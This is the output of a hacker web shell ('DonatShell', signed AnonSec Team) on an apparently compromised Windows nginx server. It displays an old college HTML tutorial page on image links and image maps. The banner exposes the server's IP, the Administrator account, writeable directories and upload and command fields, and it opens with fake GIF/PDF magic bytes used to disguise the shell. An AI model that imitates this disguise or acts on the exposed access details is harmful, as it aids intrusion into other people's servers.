GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/MMDT1021/AllenSite/ch6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/MMDT1021/AllenSite/ch6/MMDT1021 Chapter 6 Notes - page 4.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
<!-- saved from url=(0054)http://mmdt1021.ridgewater.net/chapter6/chapter6p4.htm -->
<HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE>MMDT1021 Chapter 6 Notes - page 4</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1"><LINK 
href="MMDT1021%20Chapter%206%20Notes%20-%20page%204_files/style.css" 
type=text/css rel=stylesheet>
<META content="MSHTML 6.00.6000.16481" name=GENERATOR></HEAD>
<BODY>
<P class=pagetitle align=center>MMDT1021 Chapter 6 Notes - page 4</P>
<P class=sectiontitle>Using Images to Label Links</P>
<TABLE cellSpacing=0 cellPadding=4 width=750 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD width="100%">Image Only.</TD></TR></TBODY></TABLE>
<TABLE width=750 bgColor=#ffffff border=1>
  <TBODY>
  <TR>
    <TH width="50%">Code</TH>
    <TH width="50%">Result</TH></TR>
  <TR>
    <TD width="50%"><CODE>&lt;a href="chapter6p5.htm"&gt;&lt;img 
      src="images/RightHand2.gif" width="100" height="54" alt="" border="0" 
      align="center"&gt;&lt;/a&gt;</CODE></TD>
    <TD width="50%"><A 
      href="http://mmdt1021.ridgewater.net/chapter6/chapter6p5.htm"><IMG 
      height=54 alt="" 
      src="MMDT1021%20Chapter%206%20Notes%20-%20page%204_files/righthand2.gif" 
      width=100 align=center border=0></A></TD></TR></TBODY></TABLE>
<P> </P>
<TABLE cellSpacing=0 cellPadding=4 width=750 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD width="100%">Image and Text.</TD></TR></TBODY></TABLE>
<TABLE width=750 bgColor=#ffffff border=1>
  <TBODY>
  <TR>
    <TH width="50%">Code</TH>
    <TH width="50%">Result</TH></TR>
  <TR>
    <TD width="50%"><CODE>&lt;a href="chapter6p5.htm"&gt;&lt;img 
      src="images/righthand2.gif" width="100" height="54" alt="" border="0" 
      align="center"&gt;MMDT1021 Chapter 6 Notes - page 5&lt;/a&gt;</CODE></TD>
    <TD width="50%"><A 
      href="http://mmdt1021.ridgewater.net/chapter6/chapter6p5.htm"><IMG 
      height=54 alt="" 
      src="MMDT1021%20Chapter%206%20Notes%20-%20page%204_files/righthand2.gif" 
      width=100 align=center border=0>MMDT1021 Chapter 6 Notes - page 
  5</A></TD></TR></TBODY></TABLE>
<P>&nbsp;</P>
<TABLE cellSpacing=0 cellPadding=4 width=750 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD width="100%"><SPAN class=sectiontitle>Dividing an Image into Clickable 
      Regions</SPAN> 
      <P>Use your favorite graphics software to map the points for your 
      clickable regions. Then setup your client-side, CERN, or NCSA image 
      information.</P></TD></TR></TBODY></TABLE>
<P> </P>
<TABLE cellSpacing=0 cellPadding=4 width=750 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD width="100%"><SPAN class=sectiontitle>Creating a Client-Side Image 
      Map</SPAN> 
      <P>Client-side image mapping is the most common image mapping technique in 
      use today.&nbsp; The client is your local computer running a browser, such 
      as Internet Explorer or Netscape.&nbsp; Your browser has to determine the 
      actual mapping based on the map information given in the html code.</P>
      <P>The code for the image map is embedded into the HTML 
  page.</P></TD></TR></TBODY></TABLE>
<TABLE width=750 bgColor=#ffffff border=1>
  <TBODY>
  <TR>
    <TH width=557>Code</TH>
    <TH width=178>Result</TH></TR>
  <TR>
    <TD width=557><CODE>&lt;img src="images/12345L.png" border="0" 
      usemap="#12345L"<BR>&nbsp; alt="" width="150" height="25"&gt;</CODE> 
      <P><CODE>&lt;map name="12345L" id="12345L"&gt;<BR>&lt;area shape="rect" 
      coords="0,0,25,25" href="/chapter6/chapter6p1.htm" alt="Page 1" 
      /&gt;<BR>&lt;area shape="rect" coords="25,0,50,25" 
      href="/chapter6/chapter6p2.htm" alt="Page 2" /&gt;<BR>&lt;area 
      shape="rect" coords="50,0,75,25" href="/chapter6/chapter6p3.htm" alt="Page 
      3" /&gt;<BR>&lt;area shape="rect" coords="75,0,100,25" 
      href="/chapter6/chapter6p4.htm" alt="Page 4" /&gt;<BR>&lt;area 
      shape="rect" coords="100,0,125,25" href="/chapter6/chapter6p5.htm" 
      alt="Page 5" /&gt;<BR>&lt;area shape="rect" coords="125,0,150,25" 
      href="/chapter6/labassignment6.htm" alt="Lab Assignment 6" 
      /&gt;<BR>&lt;area shape="default" nohref="nohref" alt="" 
      /&gt;<BR>&lt;/map&gt;</CODE></P></TD>
    <TD width=178><IMG height=25 alt="" 
      src="MMDT1021%20Chapter%206%20Notes%20-%20page%204_files/12345L.png" 
      width=150 useMap=#12345L border=0> <MAP id=12345L name=12345L><AREA 
        shape=RECT alt="Page 1" coords=0,0,25,25 
        href="http://mmdt1021.ridgewater.net/chapter6/chapter6p1.htm"><AREA 
        shape=RECT alt="Page 2" coords=25,0,50,25 
        href="http://mmdt1021.ridgewater.net/chapter6/chapter6p2.htm"><AREA 
        shape=RECT alt="Page 3" coords=50,0,75,25 
        href="http://mmdt1021.ridgewater.net/chapter6/chapter6p3.htm"><AREA 
        shape=RECT alt="Page 4" coords=75,0,100,25 
        href="http://mmdt1021.ridgewater.net/chapter6/chapter6p4.htm"><AREA 
        shape=RECT alt="Page 5" coords=100,0,125,25 
        href="http://mmdt1021.ridgewater.net/chapter6/chapter6p5.htm"><AREA 
        shape=RECT alt="Lab Assignment 6" coords=125,0,150,25 
        href="http://mmdt1021.ridgewater.net/chapter6/labassignment6.htm"><AREA 
        noHref=nohref shape=RECT alt="" coords=0,0,0,0></MAP></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=4 width=750 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD width="100%">
      <P>An example of this type of a client-side image map can be found at <A 
      href="http://www.hometownmn.com/">http://www.hometownmn.com/</A>.&nbsp; 
      Click on the agents.</P>
      <P>A couple of other sites that utilize image maps: </P>
      <UL>
        <LI><A href="http://www.usgs.gov/">U.S. Geological Survey</A> uses an 
        image map for the states. 
        <LI><A 
        href="http://www.insc.anl.gov/pwrmaps/map/united_states.html">International 
        Nuclear Safety Center</A> has small hot spots. 
</LI></UL></TD></TR></TBODY></TABLE>
<P> </P>
<TABLE cellSpacing=0 cellPadding=4 width=750 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD width="100%"><SPAN class=sectiontitle>Creating a Server-Side Image 
      Map</SPAN> 
      <P>Server side image mapping was a technology that was used when web 
      browsers did not yet have the capability of supporting client-side image 
      maps. (Pre Netscape 3.0).&nbsp; The server determined the actual 
      mapping.&nbsp; Typically server-side image maps are not used much 
      anymore.</P>
      <P>The code for the server-side image map is stored in an external file on 
      the server. This type of image map uses either <A 
      href="http://mmdt1021.ridgewater.net/chapter6/examples/righthand2cern.txt">CERN</A> 
      (IIS) or <A 
      href="http://mmdt1021.ridgewater.net/chapter6/examples/righthand2ncsa.txt">NCSA</A> 
      (Apache) format.&nbsp; The server that this web site (ridgewater.net) is 
      running on uses NCSA (Apache).&nbsp; (Each finger on the image below takes 
      you to a different page.)</P>
      <P>If you look at the status bar at the bottom of your browser, you will 
      notice coordinate pairs changing when rolling over the image in the 
      following example.</P></TD></TR></TBODY></TABLE>
<TABLE width=750 bgColor=#ffffff border=1>
  <TBODY>
  <TR>
    <TH width="50%">Code</TH>
    <TH width="50%">Result</TH></TR>
  <TR>
    <TD width="50%"><CODE>&lt;a href="examples/righthand2.map"&gt;&lt;img 
      src="images/righthand2.gif" width="100" height="54" border="0" 
      ismap&gt;&lt;/a&gt;</CODE></TD>
    <TD width="50%"><A 
      href="http://mmdt1021.ridgewater.net/chapter6/examples/righthand2.map"><IMG 
      height=54 alt="" isMap 
      src="MMDT1021%20Chapter%206%20Notes%20-%20page%204_files/righthand2.gif" 
      width=100 border=0></A></TD></TR></TBODY></TABLE>
<P> </P></BODY></HTML>

Anon7 - 2022
AnonSec Team